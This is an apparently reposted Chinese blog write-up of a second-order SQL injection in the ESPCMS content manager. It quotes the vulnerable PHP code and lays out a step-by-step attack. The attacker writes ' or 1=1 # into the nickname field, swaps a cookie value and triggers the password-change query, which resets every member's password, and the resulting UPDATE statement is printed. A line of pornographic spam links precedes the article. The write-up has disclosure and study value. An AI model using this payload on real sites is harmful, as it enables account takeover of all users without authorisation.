日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

php sql 二次注入,espcms 二次注入一枚

發布時間:2024/9/19 php 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php sql 二次注入,espcms 二次注入一枚 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Author:Yaseng

1:通過 $alias 二次注入來控制sql

用戶昵稱 $alias 從數據庫查詢出來 未過濾

interface/member.php

[php]

$db_sql = "SELECT * FROM $db_table WHERE $db_where";

$rsMember = $this->db->fetch_first($db_sql);

if (!$rsMember) {

..................................................

$this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));

[/php]

//查詢出來時 無 addcslashes 可造成二次注入

雖然cookie 加密 無法逆向,但是已經可以通過控制 $alias 來生成 某些sql 進行注入

2:$this->ec_member_username 注入

public\class_connector.php 文件 中

[php]

$this->ec_member_username = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);

[/php]

$this->ec_member_username 利用 1 來控制 sql (無視 gpc ,無視單引號)

隨便找到一個調用 $this->ec_member_username 的地方

如 interface\membermain.php 文件中 修改密碼處

[php]

$db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' AND password='$oldpassword'";

$db_sql = "SELECT * FROM $db_table WHERE $db_where";

$rsMember = $this->db->fetch_first($db_sql);

if (!$rsMember) {

$linkURL = $this->mlink['memedit_password'];

$this->callmessage($this->lng['password_input_err'], $linkURL, $this->lng['gobackbotton']);

} else {

$db_set = "password='$password'";

$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);

[/php]

調用了 $this->ec_member_username 可以進行注入

3:注入利用

經過 1,2 分析 一次完整的注入攻擊

登錄 => 編輯資料(寫入注入 payload) =>退出 =>登錄 =>設置cookie(ec_member_username =ecisp_member_info)=> 修改密碼 => sql 注入

比如我要修改 所有會員的密碼

編輯資料 昵稱處填寫 ' or 1=1 # 然后重新登錄 修改cookie中 ec_member_username 的值為 ecisp_member_info的值

新舊密碼不要相同 此時的 sql 語句為:

[php]

UPDATE espcms_member SET password='99754106633f94d350db34d548d6091a' WHERE userid=1 AND username='1|' or 1=1 #|0|1|fuckss@163.com|2130706433|2130706433|fed0b5cf0dbbcab3431bf3bb8fe88349|1002de5fc95a1b716a2e04ab8d78bf76' AND password='1223b8c30a347321299611f873b449ad'[/php]

打完收工

與50位技術專家面對面20年技術見證,附贈技術全景圖

總結

以上是生活随笔為你收集整理的php sql 二次注入,espcms 二次注入一枚的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。